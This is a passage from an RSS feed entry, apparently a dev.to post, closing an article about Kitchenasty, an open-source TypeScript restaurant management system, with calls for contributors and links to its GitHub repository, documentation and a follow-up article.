&lt;a href="https://github.com/mighty840/kitchenasty/labels/good%20first%20issue" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt; — small, well-scoped tasks with clear instructions&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/mighty840/kitchenasty/labels/help%20wanted" rel="noopener noreferrer"&gt;Help wanted issues&lt;/a&gt; — bigger features where input is welcome&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/mighty840/kitchenasty/discussions" rel="noopener noreferrer"&gt;Discussions&lt;/a&gt; — feature ideas, RFCs, and community chat&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Areas where help is most needed: accessibility, i18n coverage, test coverage, and structured logging.&lt;/p&gt;

&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/kitchenasty" rel="noopener noreferrer"&gt;github.com/mighty840/kitchenasty&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docs:&lt;/strong&gt; &lt;a href="https://kitchenasty.com" rel="noopener noreferrer"&gt;Kitchenasty&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;License:&lt;/strong&gt; MIT&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you've ever worked on restaurant tech, run a food business, or just want to contribute to a well-documented TypeScript project, I'd love to hear from you.&lt;/p&gt;

&lt;p&gt;See my next article &lt;a href="https://dev.to/mighty840/design-decisions-behind-kitchenasty-an-open-source-restaurant-management-system-650"&gt;here&lt;/a&gt;&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>typescript</category>
      <category>webdev</category>
      <category>react</category>
    </item>
  </channel>
</rss>
